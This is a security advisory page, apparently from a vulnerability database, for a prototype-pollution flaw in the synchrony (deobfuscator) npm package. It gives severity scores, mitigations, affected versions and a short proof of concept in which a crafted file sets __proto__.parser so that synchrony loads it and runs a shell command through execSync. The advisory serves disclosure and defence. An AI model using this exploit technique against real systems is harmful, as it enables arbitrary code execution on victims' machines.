Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code executionGHSA-jg82-xh3w-rhxx
HIGHFix: relative/synchrony@b583126GHSA-jg82-xh3w-rhxx is a high-severity (CVSS 7.8) CWE-1321 vulnerability in deobfuscator. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for deobfuscator — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jg82-xh3w-rhxx.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
deobfuscatornpmDescription
Impact
A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.
Summary
A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.
When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.
Patch
A fix has been released in [email protected].
Mitigation
- Upgrade synchrony to v2.4.4
- Launch node with the --disable-proto=delete or --disable-proto=throw flag
Proof of Concept
Craft a malicious input file named poc.js as follows:
// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())
// Synchrony exploit PoC
{
var __proto__ = { parser: 'poc.js' }
}
Then, run synchrony poc.js from the same directory as the malicious file.
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | deobfuscator | ≥ 2.0.1&&< 2.4.4 | 2.4.4npm install deobfuscator@2.4.4 |
Affected Products
synchronyrelativeResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deobfuscator, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deobfuscator to 2.4.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jg82-xh3w-rhxx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-jg82-xh3w-rhxx in your dependencies?
Find it across npm, including transitive dependencies.